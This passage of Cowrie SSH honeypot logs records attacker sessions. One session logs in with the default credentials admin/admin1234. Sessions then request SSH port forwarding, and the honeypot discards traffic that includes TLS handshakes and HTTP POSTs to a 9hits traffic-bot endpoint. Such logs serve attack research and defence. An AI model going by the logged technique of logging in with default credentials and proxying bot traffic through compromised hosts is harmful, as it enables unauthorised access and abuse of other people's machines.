GxfTEgWlsH1OL3Bi1xFocufjFasv8y2S8lOIZ9JdnEQTJ9K8JrJESYgdpciDqyIiVWMMyCpBbac91QKR1SBeDeONc2lxIQooYauxJbItoIwqnbrFIYfzGiRGkLMwCM8d0Wc19q7idmoPz6pma0VdQqCAjahYxAjf0uqVz7hhqscEspDZKI7dleMVItr7yoGI3Wsj9kFgVjO%2BkzqR1ezNUlSCuhikP5ipM5cpNm5q5%2BcGVrKVMYBv5P3KkUczR54uiTPxBbo95NTgrVpU%2BymJR56k9Ep%2FbqDTxQz9JzahcCQ%2Bmot85foU5Q9L9Vw%2FiFdtlKqhMRDtylqmN2GHxbYe'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VUpFMiNqSDBobVQxX3RrKg%3D%3DVs1YKjULoOc%2FZBS8RKmcpOd3RpAcadWU8RaPu7LlZy5e9QGQNypOMYvcDdF6VoBPbmduuU6DQLPJWD5du2p9PB4DKig%2BVpHVmUJeKDrRwoK5UbRumVtdu7nn3NOQXEcxkNqSQWqYgCGv3U8HBS61EsjF7aC3R2%2BXRlWqCTqs3NPi3LpY7JwRGsChQo7A9%2F1hcnzpqcqTj4%2FrdGIOcWgkO24b6EgLNMgXJbL5tMuHt5xCUJtXF7SZC9gcz8VjcpeYy6atWA9YcgLe4aQ9uHTG9WgGHrOOTg2ypvJ%2BX30lUPP1OFk1L%2FJlox0WUMNUuI9X6inOmscsE7sczTOGZyr1eQle6kpfCRG8nvUOTid36dkxfSOGTxQ1PNzc6RWCc6VYosAdAyC6R83k%2B2i%2Fp0nAmjuWUJ4mABPK4%2FmUiQhDKqfcdAu0gfn4q4nGaX%2FPhFzYLhg03WI1pleyEUob4ESQzMuKKlLGPJkG2ibgi1%2B4EmwZrC0iDldY8GLffLmWXUys9QurGJtJMt6pKXAJK6pmspAUxkykFggnOp3ZvkakEHcNHKjueIs%2Bnhv33pkyDd48HrnTYyJIyo20PpyrPQJETkBajT02g0h0Yb%2Flka%2B89KRSH3bW%2Blob884fEwYxoNtYnnox3TPozgmrkTlUIgYOtVxJfLsSTC76rnBEu3WzJomYPDAnO2xLRnH7YVyzGoLcvXqewXr0%2Fd5s2LCH38FZF0VMQn24WFZ8oyBvGJC5MMhxGxfTEgWlsH1OL3Bi1xFocufjFasv8y2S8lOIZ9JdnEQTJ9K8JrJESYgdpciDqyIiVWMMyCpBbac91QKR1SBeDeONc2lxIQooYauxJbItoIwqnbrFIYfzGiRGkLMwCM8d0Wc19q7idmoPz6pma0VdQqCAjahYxAjf0uqVz7hhqscEspDZKI7dleMVItr7yoGI3Wsj9kFgVjO%2BkzqR1ezNUlSCuhikP5ipM5cpNm5q5%2BcGVrKVMYBv5P3KkUczR54uiTPxBbo95NTgrVpU%2BymJR56k9Ep%2FbqDTxQz9JzahcCQ%2Bmot85foU5Q9L9Vw%2FiFdtlKqhMRDtylqmN2GHxbYe'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:58.954371Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:58.959659Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030Gpx]\\xcf\\x8a+\\xcf\\xa2\\xde`\\xab\\xb6\\xad\\xc8\\xbb\\xcf\\xe2\\x80\\xa3\\x83\\xde\\x98\\xca8\\xcb\\xc6\\x94x\\'V 4\\xd2(Y\\x11\\x7f\\xd5*\"\\xc9.\\x0cV\\xc0\\xf7OY\\xd67)\\xfe\"\\xc4\\x89m3\\xc2M-\\xc6_q\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6?R\\xe6|\\x11\\x8c:l\\xccY>\\xc6N\\x0bm\\x1b\\x9c\\xb4\\x80\\xae\\x86-\\xeb\\xad\\xd9\\xc47n\\xfaw\\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030Gpx]\\xcf\\x8a+\\xcf\\xa2\\xde`\\xab\\xb6\\xad\\xc8\\xbb\\xcf\\xe2\\x80\\xa3\\x83\\xde\\x98\\xca8\\xcb\\xc6\\x94x\\'V 4\\xd2(Y\\x11\\x7f\\xd5*\"\\xc9.\\x0cV\\xc0\\xf7OY\\xd67)\\xfe\"\\xc4\\x89m3\\xc2M-\\xc6_q\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6?R\\xe6|\\x11\\x8c:l\\xccY>\\xc6N\\x0bm\\x1b\\x9c\\xb4\\x80\\xae\\x86-\\xeb\\xad\\xd9\\xc47n\\xfaw\\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:58.962466Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:59.197238Z","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:59.427128Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x92c\\xdatIr#Y\\xef\\x0c\\xc5!\\x9f\\xf7:\\xfa-\\x13\\xf6\\x818m\\x15Su\\x8cbM\\x07\\xc3\\xd8\\xd1 \\xe8\\x95R\\x07\\x01\\xf3\\x82;mc\\nt\\x07\\x9f\\xdc,\\x80i\\x93W\\x05\\xc7\\xfft\\xf7X\\xf7\\x032\\xe5\\xab\\xfb\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 0\\xe5\\xa4\\xc9\\xa1\\x1f\\xfd\\xccy\\x89\\xf3\\x97\\x08\\x1fl\\x05\\xba\\x80,F\"ny\\x9b\\x9dE\\xcb\\x84\\x10\\x90\\xcd\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x92c\\xdatIr#Y\\xef\\x0c\\xc5!\\x9f\\xf7:\\xfa-\\x13\\xf6\\x818m\\x15Su\\x8cbM\\x07\\xc3\\xd8\\xd1 \\xe8\\x95R\\x07\\x01\\xf3\\x82;mc\\nt\\x07\\x9f\\xdc,\\x80i\\x93W\\x05\\xc7\\xfft\\xf7X\\xf7\\x032\\xe5\\xab\\xfb\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 0\\xe5\\xa4\\xc9\\xa1\\x1f\\xfd\\xccy\\x89\\xf3\\x97\\x08\\x1fl\\x05\\xba\\x80,F\"ny\\x9b\\x9dE\\xcb\\x84\\x10\\x90\\xcd\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:59.431703Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:59.750598Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":59259,"dst_ip":"10.17.0.5","dst_port":22,"session":"872d95ec0e3a","protocol":"ssh","message":"New connection: 173.208.188.210:59259 (10.17.0.5:22) [session: 872d95ec0e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:03.336281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:03.340050Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:03.509255Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:04.597357Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:13.416435Z","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:13.573788Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.5 Mobile/18E199 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MXBNMDJScl5eaEs%2BVG1DMQ%3D%3D2PMYEsBiIvYD0No4aAfrOGpcGDtrwvjmzoNCLg3cM7JT2EyvKR6nLtY9fdoejHPVjKC3VykIUN%2Bzyy1tNPf1P0ai%2F9JkmfoPtHS2ixwA5xP3jwsPgwpT%2BNpHr0wGUkso%2FAmyLNry13KOmI8ZzzmJi6Z7e7wEUpHSFX0f4G%2B6M9vLvnZxaUIiwcsy%2BCLgeYucHOU20bvhrZDMwbuuhXaX0KBORlIUNcAtazZRBFb%2Fg4uauttLnSameIt7b8e3dFU%2B2JMVI9ef03aPPBaJ1dzZHSykM4Wu1EEutXrgZHz45O3UlnXvS0D5%2FJUjH17U975QLgyMcWmXp2%2BxZ0TajIOmGMOGllnXqCiOQFvmOcC54zYLgXCuhi7PWHZBEcHvHm6Qc%2BB3BDp3ErL3fEfuj%2BApSCD7u64NMfzagql5hUF2A1OrKhBhx7GQXVRY1A8s1pPrjsiwBAc0pxqEsjdAE%2Fy8MZcREMntwSxtL2vgOjVye53QJ42wckX1oDRvDGRmAos0JNf%2BEfn%2BY%2Be1UM9ygpQsYaxnp3uwrsXjE0%2BVFDNmKRVobgJoGwJ45Zu68CPUJmGX8yyCi6V%2Bjc%2F2dsL6CtZyTVyfWRJa1aQO9dlfJ1RZL1g9AqVPBfiql5gY1%2BwvLfBtbQ7%2F1hDK4hkMLRNbEpUpQUBJYKhSebI5upwcJ%2BJArTrtiwNNhFbuYbhGVN8wjRgg4j8HOJhMaLFEZkJJeYZhUMZT0PAAZBVWTpHqbsTqj%2F7kSjjxzPAC8CyYuq9SFqMS8HRA54twLFLBSZ2%2BR%2FUCwTNtslJwesnQKOFT0L1yeGmourUv57TP8l88pwh8MaWYB1eccNR7VabvR9e2QdwKCjNQ7%2BwgeJDy9AMX1Uasg4mQR%2BXWH3pgMQkPt0hHQ8se7Lpslg3kfYByo3L3475aX1LH0QxdIyH9fbcbCZS9AtYFLbxoStYC0iWV6cFx2EtBPykxcftK7bPhdEa2kGe9LMw2uw2J7M1ic%2FS%2FyXiane7Vp2o14q6yU%2BxM%2BO4qmirGabfuJBI9ieUeHrNwbSzVRZorkjvPtKKlq91IJQnnG65DR0vrFBKIAOcv9jlqn0kV'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.5 Mobile/18E199 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: 